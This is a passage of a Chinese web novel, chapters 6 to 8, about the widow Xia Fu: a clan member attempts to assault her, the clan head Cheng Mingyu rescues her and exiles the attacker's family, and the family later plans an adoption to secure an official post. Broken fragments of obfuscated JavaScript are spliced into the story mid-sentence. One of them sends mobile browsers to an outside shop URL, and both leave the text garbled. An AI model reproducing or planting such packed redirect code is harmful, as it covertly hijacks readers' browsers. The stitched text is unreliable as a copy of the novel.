程明景急得跳起来，“娘，我虽爱貌美的姑娘，却也得门当户对，家世勉强，那..那夏氏固然生得好，可儿子对她并无男女之情。” “再说，若儿子娶了她，总会忍不住拿自己跟明祐哥比，那日子还过不过了！” “我可是您亲生的儿子，您就这么埋汰儿子，让儿子娶个寡妇？” 说到底计较她嫁了人。 “没眼力劲的东西！”周氏骂了一句，失望地摆手，“无妨，你们程家人瞧不上她，回头我去周家找，在你几个表兄弟中挑个有福气的娶了芙儿。” 周氏已在脑海盘磨，哪个侄儿身份相貌脾性与夏芙般配。 程明昱无奈提醒，“母亲，夏氏执意守节，您别横插一脚。” “关你什么事！”周氏没好气道。 确实不关他的事，程明昱闭嘴。 6. 第 6 章 夏芙并不知别人讨好而不得的大伯母，此刻正热情地替她张罗婚事。 她忙着款待来访的妯娌姐妹。 原来擅做丹寇的事到底传开了，大家都很喜欢那抹香气，不浓不淡，沁人心脾，于是有人要百合味的，有人要薄荷味的，纷纷拿了好处送到夏芙这里，央求她帮忙做上几罐。夏芙乐得与族中姐妹们走动走动，也好攒些人情。 “这几日雨水多，待哪日天晴，我去采些好的花儿粉儿，必为你们做些丹寇来。” 随后夏芙便开始留意天气，六月二十五日傍晚，雨霁云开，晚霞漫天，她便知次日定是个大晴天，事先与婆母通了气，又早早打点了两位婆子，预备第二日去采花。 清晨沐着朝露的花儿最为新鲜，这时采集的花儿最容易碾成粉末，香气也最为浓郁。于是二十六日清晨，天刚蒙蒙亮，夏芙便招呼丫鬟和婆子出了门。 她带上自己院里的两个小丫鬟，又从婆母处借来两位厉害的婆子，加上秋蕖，一行六人踩着熹微的晨光往花园去。 程家堡与京城程府一条大道贯穿南北不同，这里整个族群依太极八卦阵排列，层层叠叠的屋舍错落而居，形成一个巨大的堡垒。堡垒四周角铺林立，日夜有人巡逻，守卫森严，全然不怕有人潜入堡内劫色劫财。 便是程家堡内，各房之间的院落均有人看守，日出开门，日落上锁，井然有序。 各房的花园林木均有专人管辖，不容人随意采摘。譬如夏芙想采花，便只能采四房自家花圃里的。只是四房花圃一来数量有限，二来也不能一口气全采光了，而要做那质地厚重的丹寇，非得用最鲜最嫩的那几朵花不可，四房的花圃显然不够用。于是夏芙留下秋蕖一人在此采摘，自己带着其余人往程家堡西北角的后花园去。 这后花园地处山麓脚下，坐北朝南，又毗邻水泊，光线和水分都十分充足。程家花匠在此经营了一大片花圃，一年四季繁盛不衰，每日均有族人前来采花集露。守门的婆子辰时不到便已将门打开了。 夏芙并不是最早的一批，已有人早早来集了花露离开，唯恐待会人多，夏芙带着人忙开了。这等事原本也无需她亲自出面，只是这些丫鬟婆子本伺候得不是很尽心，真使唤她们来干活，保不齐随意采些应付，还得她亲自经手才放心。 不一会红彤彤的日头完整地蹦出了水平线，早起的鸟儿啾啾地发出朝鸣，夏花迎风招展。凤仙花是首选，遇见饱满娇艳的芍药与海棠也要采一些，紫薇茉莉也在夏芙的甄选范围内，无意间抬眸，瞥见桃林里间植了几棵栀子，赶巧开了几朵雪白的花，那香气馥郁甜而不腻，叫夏芙好不心仪，不由分说地掀开枝垭追逐而去。 小丫鬟这边已集了一大半篮，正要跟着夏芙过去，忽然间，林子深处窜出来一条黑狗，这条狗眼神凶狠，四肢也矫健凌厉，疾如闪电冲向人群，吓得几个丫鬟婆子四处乱窜。 夏芙听见动静，也惊呼一声，不假思索往最近的花房躲去。 正待转身，一只手忽然从身后扑来，捂住她的嘴，将她往林子里带。 夏芙还没来得及发出任何声音，那股蛮横的力量已经将她拖离了桃林，向林子深处拽去。巨大的恐慌涌上心头，眼前的光线被层层叠叠的树冠切割成零星的碎片，她的脚在地上胡乱地蹬着。 直到听见耳后传来略熟悉的喘息声，夏芙方反应过来这人是谁。 愤怒夹杂恐惧充斥脑门，夏芙铆足了劲，狠狠往那人手背咬了一口，生生将他手背咬出一道血淋淋的口子，对方吃痛，手一松，夏芙趁机挣脱开来，踉跄着往后退出几步。过度的恐慌让她膝盖发软，辨不清东西南北，胡乱摸到一根粗壮的树根，蜷缩着躲到后面，这才看清来人。 程明旭捂住伤口，抬眼瞅见那美人儿裙衫曳地、惶惶如迷失的小鹿，心底的邪念反而更盛。他干脆撒开手，任鲜血顺着指缝往下淌，懒懒散散地盯着夏芙，像盯着猎物一般，眼底带着几分不满和质询， “芙儿，你为何不肯嫁我！” 自那夜提亲被拒，被父亲赶去了河道，程明旭心里便衔着一股恨，成日鼻子不是鼻子，眼睛不是眼睛的。凭他程家十三房嫡出少爷的身份，配一个乡绅家里的小寡妇，不是绰绰有余？长房凭什么不把夏芙嫁给他？ 自初见夏芙，他便惊为天人，心心念念了一年有余。好不容易等到夏芙除服，岂能眼睁睁看着婚事泡汤？程明旭不甘心。 白日里在河道帮衬，夜里便盘算着如何回来，把事情弄个究竟。偏生那程明英把他看得紧，直到昨日才得了机会，叫他赶回老宅一趟，这不，便让他逮到了夏芙。 “芙儿，跟了我，只会叫你过好日子，你还犹豫作甚！” 说完，他大步朝夏芙迈去。 * 天蒙蒙亮，程明昱便照例起身，前往后山竹林习武练剑，养身健气。这是自幼养成的习惯。过去在京城，书斋外便有一片竹林供他晨练，如今回到程家堡，可去之处更多了，下雨时在书房后的竹寮，天清气朗则去林中的一处高台。 程家堡背山靠水，将一片山麓圈进堡内，又在最高处建了一座高台，战时可供瞭望敌情。今日天光未全开，薄雾还缠在半山腰，程明昱便来到这高台上练剑。 只见他一袭月白长袍，袖口紧束，矗立在晨风之中。剑锋出鞘之际，发带被风撩起，拂过棱角分明的下颌，英武之余，更添几分天人之姿。 时不时武出的剑花与金黄的晨曦交相辉映，惹来周遭雀鸟扑棱。正练得兴起，忽然听得山脚下传来一阵突兀的狗鸣。 以防惊突女眷，程家堡的后院是不许养狗的，是以程明昱觉得奇怪，立即收剑望去，晨光破开薄雾，在林子里洒下层层叠叠的金光，一簇树丛下，隐约有两道身影闪过，恰在这时，底下巡视的侍卫也觉察有人突入林中，赶忙来报，程明昱脸一沉，带着人飞快追过去。 越过簇簇的树丛，便瞥见程明旭咧着嘴朝一年轻貌美的妇人扑去。 程明昱毫不犹豫，扔开长剑，自侍卫手中接过箭弩，对准那人一箭射去。 君子六艺，礼、乐、射、御、书、数，程明昱无一不通，一箭利落下去，登时贯穿了对方伸出的那只手腕，只听见闷哼一声，那人直直栽倒在地。 “把人带去戒律院！” 程明昱寒声吩咐一句，随后提剑快步往里来。 脚下是被踩碎的落叶与枯枝，发出细密的碎裂声。他穿过几株歪脖老槐，绕过一片半人高的藤蔓，瞥见一道纤弱的身影躲在山沟里，看模样更像是闪躲时不慎滑下山坡。 程明昱看清是夏芙，视线一顿，冷色铺满眼眶。 夏芙双臂紧紧抱着自己的膝盖，整个人缩成一团蹲在山沟里，裙摆上沾满了泥土和碎叶，脸白得近乎透明，唯有那一双杏眼红彤彤的，蓄满了惊惧未消的水光，听得脚步声，猛地抬头，便见一人矗在上方。 那道身影逆着漫天涌来的光走来，身形笔直，衣袂猎猎，宛如从天而降。凭着这一身风姿，夏芙认出是程明昱， “家主....” 她的声音哑得几乎听不见，哆哆嗦嗦地打颤。 只消一眼，程明昱便猜到事情始末，心底怒色腾起。在他三令五申下，程明旭还敢堂而皇之欺辱夏芙，简直是穷凶极恶，胆大妄为之极。 然君子喜怒不形于色，程明昱的情绪从不外露，在夏芙看来，他神色依然是沉静的，砰乱的心也跟着安定几分。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514251|202634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 只见他侧身一步，将长臂伸到夏芙跟前，手掌朝外，视线也看向外侧，并不去瞥夏芙狼狈的模样。 “上来！” 目不斜视，是为礼。 伸手相助，是为义。 夏芙的眼泪一下就涌了出来。 他的手伸过来，不是来拉，而是让她借力。 君子之风，始终是刻在他骨子里的底色。 夏芙二话不说，颤抖着去抓他手臂，手刚伸出去，方觉逃窜的途中，右手已沾满了泥污，实在不敢玷污了那干净的箭袖，夏芙仅用左手攀住他，借力往上爬，可惜他手臂虽然瘦劲，却也不是一个柔弱的女子握得住的，加之方才吓得虚脱，夏芙手刚握住，便脱力一滑，身子往后栽去。 程明昱眼疾手快，提剑的右手飞快掠过来，剑柄从她后腰穿过，牢牢接住她身形，将之往上一带，确认夏芙站稳后，双手不做停留地撤开，后退数步，抬眸打量她， “他可有伤到你？” 夏芙惊惶未定地吸了一口气，摇着头，“家主来得及时，他并未伤到我。” 眉眼仍带着后怕，惊怯地瞥了程明昱一眼，颤声问道，“敢问家主，会如何处置他？” 这种事传出去对她名声不利，可若就这么放过他，夏芙实在咽不下这口气，一旦轻轻揭过，于她而言便是无穷无尽的灾难。 她不是每一回运气好，能遇见家主。 程明昱视线移过来，瞥见她像是受惊的小鹿，彷徨无助地看了他一眼，又羞怯地垂下眸，心底叹了一口气。 “我会给你一个交待。”他声线干脆而清冽。 不知为何，程明昱这般说，夏芙便信了。 家主行事向来公允，应当不会纵容程明旭作恶。 “多谢家主。”她提着沾了露珠的裙摆，朝他屈膝。 程明昱闻言轻嗤一声，脸上多了一分自嘲， “我当不住你这一声谢，未能让程家女眷安虞而无畏地行走于人前，是我程明昱的失职。” 这位弟媳本就怯懦胆小，经此一事，往后怕是越发不敢出门了。 程明昱对那混账的怒火又添了几层。 夏芙一愣，忽然说不出话来。 心底不可言说的委屈和顾虑，就这般被他挑开，被他看到。 换做是旁的家族，定是责怪她不该清晨采花，不该冒失出门而招了男人觊觎？受害的人反而有罪一般，被人指指点点。 在家主这里，却明明朗朗告诉她，她无错。 甚至将责任往自己身上揽。 世人常说的风骨清正，大抵便是如此吧。 只是..还有一桩更麻烦的事，夏芙惶惶往林子外张望，不知那边的丫鬟婆子如何了，若是被人知晓她险些被程明旭欺辱，往后她还有何脸面见人，她还能在程家堡待下去吗？ 夏芙心灰如死，眼底泪涟涟的。 程明昱循着她视线往外看了一眼，便明白夏芙顾虑所在。 “这件事，我来办，你权当什么都没发生，大方地走出去。” 他视线落在她茫然含怯的眼眸，平静而强大，强大到只用一句话，便将夏芙浑身竖起的寒毛给抚平下去，她怔怔地开口，“真的可以吗？” 只要走出去，便可当作什么都没发生，保住名节无损？ 程明昱没回她，而是反问，“你做得到吗？” 他用眼神鼓励她，抬剑往外一指，“大方走出去，不用怕，其余的，我来善后。” 我来善后... 后来夏芙每每回忆起这四字，心底好似被注入一股莫大的勇气。这种踏实便是丈夫程明祐都未曾给过她。 家主不愧是世间第一君子。 7. 第 7 章 夏日的晨阳升得极快，不一会便光芒万丈，刺的夏芙险些睁不开眼。 她衣裙染了不少露水枯叶，面颊也因哭过而残留些许泪痕，好在发髻稳稳当当，衣裳并无明显的凌乱，她用帕子借着露水细细给自己擦了一把脸，便打林里迈出。 乍一绕出桃林，便见园子里的花泥被狗刨得凌乱不堪，花盆东倒西歪，一片狼藉，不仅如此，不远处的墙根下传来一阵呻吟，四位仆妇丫鬟东倒西歪靠在墙壁，怨声载道，一个个的比她还要狼狈。 夏芙一惊，忙不迭迈过去，“怎么回事？” 那唤雀儿的丫鬟显见摔了个狗啃泥，双丫髻歪歪斜斜，哭得不成模样，花篮仍挽在胳膊肘，花瓣却是撒的一片不剩，见了夏芙，抽泣着没吱出嗓。 倒是另一婆子，惊出一身冷汗，倚在墙角直喘粗气，见夏芙好生生地出来，语气便有些倒酸， “回奶奶话，方才那只黑狗可凶了，将奴婢们吓了个半死，逃的逃窜的窜，险些要丢了命去，好在后山巡逻的侍卫来得及时，将那黑狗给扑杀了，否则奴婢们今个怕是不能活着回房，好奶奶，往后咱不折腾这些花儿粉儿的，安安生生躲在绣房里绣花是正经。” 显见是埋怨夏芙连累她们受了一场惊吓。 不过好歹是主子，婆子也不敢过于跋扈，瞟了夏芙上下一眼，问道，“奶奶没事吧？” 夏芙不自在地别了别耳后的碎发，“我没事，见狗窜出来，躲去了花房里，只摔了一跤，并无大碍。” 这些人伺候夏芙本就不情不愿，素来对她也没多少护主之心，自然顾不上甄别夏芙话里的真伪，只放了心道，“那就好，方才没瞧见奶奶，可把奴婢们吓坏了。” 想是惊动了管事的婆子，不多时便有人送了水和帕子来，为首的管事一等仆妇装扮，端的是面容肃整气度不俗，亲自侍奉夏芙进了花园东边一间水榭，当着四房丫鬟婆子的面示范一番如何侍奉主子，可闹得那几个怼人的婆子丫鬟没了脸。 衣衫自然是不能换的，便用一件银色披风遮了一身狼狈，重新洗了一把脸，梳整仪容便要亲自送夏芙回房， “是奴婢们疏忽，害奶奶在花园里受了惊，奴婢这就送您回去，亲自给四太太认错赔罪。” 此地毗邻长房，婆子来的这样快，又如此殷勤，未必不是承程明昱之命而来，夏芙不敢怠慢，也不敢推辞，柔声道，“辛苦嬷嬷了。” 这位嬷嬷不是旁人，正是戒律院八大执事之一，夏芙没见过，四太太院子里那位婆子倒是见过一两回，辨出来人身份，自然是可劲儿讨好，不声不响挤到嬷嬷身侧，笑嘻嘻问， “嬷嬷，我记得咱们程家后院是不许养狗的，今日这狗来的蹊跷，嬷嬷可知是怎么回事？” 原是没话找话，却好巧不巧勾动了夏芙心事，她心弦一紧，连步子也迟疑了些。 嬷嬷搀着她不动声色瞥了那婆子一眼，“此事已惊动家主，自会查个明白，嫂子放心，不会白叫你们吃一场亏，只是方才嫂子们只顾着自个，无人看护二奶奶，叫二奶奶在花房外摔了一跤，回头问起来，我可怎么答？” 婆子一听顿时打个哆嗦，那等混乱场面只顾得上保命，哪管得着旁人？ 一想到程明昱要亲自过问此事，脸都白了，“嬷嬷，这样的小事，家主也要过问吗？” 嬷嬷目不斜视道，“不护主的奴婢，养了作甚？” 婆子心想完了完了，那程明昱眼里容不得沙子，回头追究下来，她们怕是要吃挂落。 就这般忐忑不安回了四房。 嬷嬷这厢亲自将夏芙送到四太太手里，言明经过又告了罪，四太太不会不给戒律院管事面子，自然没有苛责，只是四太太毕竟是个人精，暗想戒律院八大执事等闲不露面，今日却刻意送夏芙回来，恐有蹊跷，便将夏芙带去内室详问。 嬷嬷这边待要出门，却被婆子几人给拦住，几人求爷爷告奶奶地说好话， “嬷嬷，今日之事还请嬷嬷替我等担待则个，实在是那野狗过于凶狠，将我等与二奶奶冲散了，并非我们有意舍下二奶奶不顾，我们吃程家的粮，拿程家的月银，岂能不把程家主子当一回事？” 嬷嬷闻言这才赏了她一个正眼，“还算像话，”又瞥了一眼她们狼狈的模样，作慨然状，“罢了，你们也可怜见的，受了一番惊吓，着实不容易。今日之事我就不追究了，也不外道，不过若是你们自个多嘴说出去，回头我可就不好替你们瞒了。” “不敢不敢！”其中一婆子先抽了自己一耳光子，“我们蠢才将这事宣扬出去，必是守口如瓶，只请嬷嬷疼我们，别将此事上禀戒律院。” 嬷嬷心里松了一口气，就这般四两拨千斤瞒下了夏芙入林子一事，又敲打了侍奉的奴仆，想必这些人往后不敢不尽心，视线不冷不热逡巡众人一圈，这才离开了四房。 而内室这头，夏芙却不敢隐瞒婆母，一字一句据实以告。 四太太听明始末，气得浑身颤抖，淬毒般骂道，“我要去十三房，我要亲自掐死那个混账，他们欺人太甚，欺负我们四房无人，欺负我们孤媳寡母！” 夏芙闻言急得扑到她怀里，拦腰抱住她哭道， “娘，家主言明会给我一个交代，您就别声张了，否则媳妇如何做人？” 四太太何尝不知这个道理，正因如此，什么都不能做，只能在家里气得干跺脚，才更叫人窝火。 那几个婆子丫鬟送走了戒律院的嬷嬷，又恐夏芙这边跟四太太告状，一个个探头探脑地进了院。 见四太太迈出门槛，连忙跪下认错， “太太，我等没能护住二奶奶，叫奶奶受了惊，是奴婢之过。” 四太太这厢按下怒色不表，立在廊庑，瞥见众人灰头土脸的，也没说什么， “不怪你们，你们也受了罪，往后后山林子那带，都不要去了。” 这话意味着夏芙没有道她们的不是，众人松了一口气，连连应是。 四太太又道，“今日辛苦了，各人领一吊钱，权当压惊吧。” 戒律院敲打过后，四太太这边给个甜枣，婆子丫鬟哪还有话说，一个个喜笑颜开，认定夏芙袒护了她们，往后侍奉越发尽了心，这是后话。 再说程明昱这边，回房沐浴更衣用过早膳，便来到戒律院。 这会儿功夫，戒律院的人已将事情查明，原来程明旭昨夜喝了酒，先买通了四房一位丫鬟得了夏芙行踪，又连夜塞了好处给后花园一处管钥匙的婆子，领着一头黑狗不声不响进了园。 程明昱在戒律院东厅坐定时，一干涉事人等全被丢进刑房。 不仅如此，唯恐泄漏消息，就连十三房上下管事奴仆一应拿来了戒律院。 阵仗之大，为近几年之最。 程明旭倒也不笨，觊觎夏芙之事，除了几位心腹，哪敢弄得人尽皆知，否则程明昱早查办了他。戒律院的管事挨个审问，除了三名侍奉程明旭的丫鬟与小厮，其余人倒不知真相。 知晓内情的关去刑房，无关人等则拘在后院。 没多久十三老爷锺迹戒律院的家丁进了东厅，瞥见自己儿子浑身抽搐扑倒在地，一只手腕被箭矢贯穿，好似昏死过去，吓得魂都没了，双膝直打软一屁股坐在地上，张望上方的程明昱，颤声问， “明昱，这是怎么回事？” 年轻的家主一袭玄衫端坐如松，有着一份与周遭环境格格不入的清贵之气，手中不紧不慢翻着各处的撘子，头也没抬， “怎么回事不该问我，而该问十三叔自个，您教导的好儿子，趁黑将一妇人拖进林子里，欲行不轨之事，被我逮了个正着，我一心提携你们，你们就是这般回馈我的？” 十三老爷两眼一翻，还有什么不明白的，定是儿子对夏芙念念不忘，一时糊涂做了混账事，事已至此，自然没什么好辩解的，十三老爷扑在地上苦苦求饶， “您看在他已受伤的份上，饶了他这一回，往后我一定严加管教，不让他再迈错一步。” 程明昱自然不跟他废话， “枉顾我提携之恩，而肆意妄为者，程明旭是第一个，没有下次。” 他抬手将案头一根令箭扔下去， “来人，断程明旭一只手臂，将十三房上下逐出程家，发派崖州，永不可回弘农。” 这话一落，将十三老爷吓得双目骇然睁大，险些吐出一口乌血来，见程明昱丝毫不留余地，登时怒火中烧， “明昱，将整整一房逐出程家史无前例，必得七位长老悉数到齐，当堂审案，才能决断，即便你是族长，也不可肆意妄为。” 当堂审案，夏芙的事就遮不住。 十三老爷也不笨，猜到程明昱必不愿将夏芙牵连进去，脑筋飞快转动，意图跟程明昱谈条件，“明昱，我知道旭儿错了，此事我无话可说，只是为了女人家名节着想，还望你别把事情闹大，闹大对程家对夏氏都没好处，仅此一回，绝无再犯，明昱，我一定守口如瓶，绝不提夏氏半字，你就给我父子一个机会吧！” 十三老爷半是威胁半是恳求。 然而话音一落，只见那人不经意抬眸，好似终于舍得分一些精力给他，淡声问， “你是在认真跟我说话吗？” 十三老爷对上那双清冷无波的眸子，再度打了个寒颤。 面前这人，十六岁的状元郎，十七岁只身入敌营纵横捭阖，短短数年从翰林院侍讲学士升任政事堂参知政事，被誉为大晋世家第一人，即便有君子之名，暗地里若无强悍的手腕与本事，又岂能在波云诡谲的朝堂搏出一方天地？ 自己与他谈条件，无异于鸡蛋碰巨石。 十三老爷顿时泄了气，扑地大哭，“明昱，饶命啊。” “我们程家不养丧尽天良之辈。” 戒律院家丁连夜将十三房的人送走，涉案的发卖远乡，其余人则一并跟着十三老爷去崖州。崖州去弘农上千里，被断了一只胳膊的程明旭有无活路尚未可知。 程明昱当然也要走章程，翌日清晨召集尚在弘农的长老与各房掌家的太太老爷议事，声称程明旭未经准许擅自从河道偷潜回乡，半路遇见一貌美官宦小姐，意图不轨被人捉住，此举不仅辱及人家姑娘清名，禽兽不如，亦败坏了程家声誉，是以将之逐出程家，发配崖州。 这一日不仅长老们全票通过，连官府的文书也取了来，程明昱雷厉风行摆平此事，杀鸡儆猴，震慑了族中上下。 外头无不道程家家风清正，程明昱治家严谨之类。 事情虽是真假参半，却将夏芙摘得干干净净，夏芙闻讯自然是大快人心，暗地里婆媳二人抱住又是哭了一场。 虽是如此，被人觊觎一事到底在婆媳二人心底留下阴影。 “这回是运气好，撞见明昱在府上，若不是他.. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“瞧，正与芙儿说着话，不知有客来访，倒是怠慢了，嬷嬷快些进来坐，可是大嫂有什么吩咐？” 宰相门前七品官，周氏身旁的嬷嬷比一旁的年轻媳妇还要有脸面。 然嬷嬷却十分知礼，带着丫鬟恭敬朝四太太和夏芙屈膝， “请四太太安，请二奶奶安，奴婢奉大太太命，送一丫鬟来侍奉二奶奶，太太的意思是二奶奶做的药茶极好，平日若上街买药配个方子什么的，没个伶俐的人使唤，太太不放心，遂将文宁遣了来，这丫头的父亲是咱们府上的侍卫长，有些拳脚功夫，奶奶尽管放心使唤。” 闻弦歌而知雅意。 长房这是遣了女卫来侍奉夏芙。 何等费心！ 夏芙感激得跟什么似的，盈盈起身，“大伯母这番疼爱，我无以为报。”随后视线落在文宁身上。 唤做文宁的女婢朝夏芙露出一口笑牙，拱袖请安，“文宁见过二奶奶，往后奴婢便是二奶奶的人了。” 她们主仆热络的功夫，嬷嬷行至四太太身旁，悄声道， “文宁是长房的人，月钱仍从长房走，不挨四房半点。” 四太太道，“这怎么成，还是我们四房来出。” 嬷嬷笑道，“这是大太太的意思，您若不满，自个跟大太太说去，奴婢只管传话。” 四太太晓得大太太这是用心良苦，心下感佩，“大嫂心意我领了，烦请你回去告诉她，改日我带着芙儿去给她磕头。” 真真是打瞌睡便有人送枕头，往后夏芙出门，便有了保障。 四太太这边记大太太的情。 夏芙却怀疑这是那位家主的安排，不过这个念头自脑海一晃而过，并未深想。 眼看快到午时，夏芙着人领着文宁下去安置，自个打算陪婆母用膳，不料婆媳俩将将落坐，前头来了人， “娘，好消息，朝廷发了恩旨，总算要抚恤金山堡一役战死的官员了！” 一听是大爷程明泽的嗓音，夏芙连忙起了身。 四太太心知她避讳程明泽，摆摆手示意她从后门出去，随后方不紧不慢迈出东次间，去明间迎接儿子， “祐儿死了一年，总算是有恩旨下来！” “可不是？”大爷程明泽穿过中庭跨进屋内，先朝四太太行了礼，在她对面的桌椅落座， “金山堡一役死亡过多，国库招架不住，只能一桩桩来，过去这一年总算把阵亡将士的抚恤发下去了，如今轮到文官。” 这是四房等了一年的消息，四太太自然上心，忙问，“朝廷旨意，如何抚恤战死的文官？” 夏日里天热，程明泽一路从弘农郡衙奔回府，口渴难耐，赶忙抱着茶罐满饮了一杯，这才回眸回四太太的话， “战事频仍，国库空虚，加之武将那头抚恤花了一大笔银子，到了文官这边度支便与政事堂商量出一个法子，说是抚恤银子免了，凡进士出身的阵亡文官，准恩荫一名子弟入朝为官。” 四太太一惊。 官宦府邸哪个在意那点抚恤银子，若能得一个荫庇的名额，便是天大的喜事。 “朝廷很有诚意。” “可不是？旨意发下来，朝野称颂。” 四太太长舒一口气，身子往后靠去圈椅，心情总算开朗不少，丈夫去世后，她求得长房给她大儿子程明泽安了一份闲职，如今就三儿子没着落，有了这份恩旨，程明同便可出仕，四房又有指望了。 四太太深看了大儿子一眼，“你三弟今年十七，这个荫庇名额便给他。” 不料大爷闻言立即摆手，“娘，我还没说完呢，只准恩荫自己的儿子，族人兄弟皆不在内。” 四太太一呆，如被泼了一盆冷水，“你二弟与芙儿成婚不过半载，哪来的儿子！” 8. 第 8 章 眼看天上掉了个馅饼，却够不着，这比从未有过盼头更叫人难受。 四太太耷拉着脸，连用午膳的心思都没了。 大爷程明泽见母亲脸色不好看，也不曾久留，借口身上汗湿了，便回了房。 金氏正吩咐丫鬟给女儿喂饭，见他满头大汗进来，连忙摆手，把他往东次间赶，“得了，一身汗气，别熏了姐儿。” 金氏成婚也不过三载，膝下仅有一个一岁的女儿，名唤晴姐儿。 程明泽瞟了一眼被抱在乳娘怀里的女儿，见她正乖巧地用饭，眨巴着一双眼睛盯着他，眉眼间便生了几分怜爱。他听金氏的劝，退去了东次间。 不多时金氏跟了过来，伺候他更衣，不经意间在他腰间抚了一把，哼道，“自你弟弟丧满一年，你便大吃大喝起来，这才多久工夫，就长了一圈肉了。” 男人都好面子，恨不得在女人跟前是顶顶俊俏的，程明泽也不例外。被妻子这般戏谑，他顿时讪讪的，嘴上却也没服输，“夜里也没旷着你，怎么就招了你的嫌？待回京忙起来，我又该瘦回去了。” 金氏听他嘴里没个把门，忙不迭瞥了一眼帘外，见无人过来，羞得瞪了程明泽一眼。程明泽一笑而过，合好衣裳，走到窗下的圈椅坐下，朝她招手，“你坐下，我有桩事与你商议。” 难得丈夫这般郑重，金氏没奚落他，挨过来坐在他对面，“何事这么急，不等用了膳再说？” 程明泽身子凑过来，低声道，“朝廷颁发了抚恤旨意，准许阵亡的文官荫庇一子入朝为官。” 金氏一愣，抬眸直直盯着他，“这是好事，只是明祐与弟妹......” “对，他们没有孩子。”程明泽截住她的话。 金氏察觉丈夫眼底另有深意，狐疑道，“你的意思是？” 程明泽将金氏的手拉过来，笑了笑道，“我的意思是，咱们尽快生个儿子，过继到二弟夫妇名下。往后这个儿子的前程便稳当了。” 金氏大惊，下意识不情愿，立即将手从他掌心抽开，“这怎么可以？我的儿子自是我夫妻的心肝肉，岂能唤旁人为娘！” 程明泽脸一拉，低声喝道，“你这是糊涂了！只是名义上过继给二弟罢了。以二弟妹那软绵的性子，将来还不是任由你摆布？难不成你要眼睁睁看着这么金贵的名额被旁人占去？” 经丈夫这般提醒，金氏也醒过神来。自大晋实行科举取士以来，科举便如万人同挤独木桥，能过关斩将、金榜题名的少之又少。饶是程家如此昌盛，考中进士的也不多。金氏对自家将来的儿子能否入朝为官毫无把握，所以这样的名额着实是千载难逢。 再不舍，为儿子计长远，也着实该赌一赌。 “成，我听你的！” 程明泽见她肯听劝，不由得伸手搂住她的腰身，将人往怀里一带，看样子便要行事。金氏急得又羞又恼，推着他滚烫的胸膛，低骂道，“夜里有你吃的，急什么！丫鬟婆子都在隔壁呢，赶紧用膳去！” 然午休时，夫妇俩拥着拥着到底滚到一处去。 蝉鸣欲躁。 夏芙午间没歇好，听闻婆母午膳没用，只当出了什么事，便寻摸着婆母午歇醒来的时辰过来请安。进去时，只见她靠在一张藤椅上，神色枯槁地盯着窗外，颇为灰心丧气。 “娘，发生了何事？叫您这般伤怀？”夏芙忙俯身过去，伏在她膝头。 四太太闻声，收起愁容，朝她露出个笑脸，“没什么大事。午膳没留你，你吃得可好？” 夏芙拉过一张锦杌，在她跟前坐下，“文宁初来乍到，儿媳拿了三百钱吩咐厨房加个菜，算是为她接风洗尘。” 四太太很满意，“做得好。对了，芙儿，今日祐儿他大哥自衙门回来，带回了朝廷的抚恤恩旨，说是进士出身的文官可荫庇一子入朝为官。” 夏芙眨了眨眼，“真的吗？”转眼咂摸出这里头的意思，神色陷入黯然。 四太太看出她眼底的落寞，抚了抚她的手背，苦笑道，“到底是咱们祐儿没福气，没能给你留下一儿半女，否则咱们后半生都有靠了。哎，就是可惜了这么好的名额。” 夏芙也觉得可惜，“倘若大哥与三弟有个儿子，也能过继给明祐，享受这等恩宠。” 她原也只是随口说说，哪知四太太听进了耳，“芙儿，你不介意过继？” 夏芙愣住，没料到婆母还真打起这个主意，一时有些茫然：“这不是没有侄儿么？” 四太太笑道：“倒也不急。我问过你兄长，只要手执恩旨，族谱记在明祐名下，到了年纪去吏部登记，等着馆选便可。” 夏芙听明白了她的意思，“您的意思是，等着大嫂生？生下儿子便记在我与明祐名下？” 四太太到底老辣，又多了一层考虑，视线移向窗外，“我倒不打算过继长房的孩子给你。” 夏芙不解，“娘是何意？” 四太太扭头过来，目光忽然凝在她脸上，那双杏眼清澈得像山间溪流，能一眼望到底，这般娇弱的小娘子，她又怎么不为她谋后路？ “傻孩子，那金氏是什么性子？若是叫她把儿子过继到你名下，往后你定被他们母子拿捏得死死的，焉有好日子过。要过继，就过继明同的孩子。” 老三性子敞亮耿直，没有老大那般狡猾，四太太自信能拿捏住他。 “我打算为他寻一门恭谨温顺的媳妇，事先便把好处摆明，总之，绝不叫她越过你去。” 夏芙听着听着，心底一阵发懵。本是来探望婆母，孰料糊里糊涂就把后半生的日子给定了，略有几分反应不及。此事非同小可，尚有诸多细节需权衡，夏芙不想太快下决断。 “娘，大嫂那边未必答应呀，届时两兄弟吵起来又当如何？” “可不是么，故而暂时我也不露底细，慢慢看吧。” 夏芙见她尚未拿定主意，略松一口气，“我也得好好想想，娘也给我一点时间。” 四太太看穿夏芙的顾虑，笑道：“好孩子，你放心，无论我作何选择，总归将你放在第一位。既要让这孩子撑起四房门楣，更要保你后半生安虞。” 夏芙反倒不好说什么，重重“欸”了一声。 这一日消息便传开了，整个程家堡都知道程明祐得了一个荫庇的名额，有儿子的族人便打起了主意，纷纷来四太太处打探消息。 孟氏得了信，生怕夏芙被人牵着鼻子走，赶在七月初五这一日午后来四房探望夏芙，问起她和四太太的打算。夏芙也不好瞒她，隐约将四太太的主意透露给了孟氏。 孟氏连忙摇头，“不可，不可，芙儿，这对你无半分好处。” “怎么说？”夏芙问。 孟氏先起身往窗外瞟了一眼，见丫鬟们均避去了廊庑角落，方重新折回，拉着她低声交待，“你这是为人作嫁衣裳啊。白白替人养了儿子，给了荫庇，回头人家亲娘亲爹就在身旁，哪个还记得你？无非是踩着你上位罢了。” 夏芙笑了笑，经过一夜的思前想后，她已经想得很通透了，摊摊手道，“我都明白。若真是过继明祐的侄儿，我也不操那份心，名额给他们便是，不用我生，我也不养，只落个安稳日子，将来在过继文书中写明，叫那孩子替我请份诰命，我便知足。” 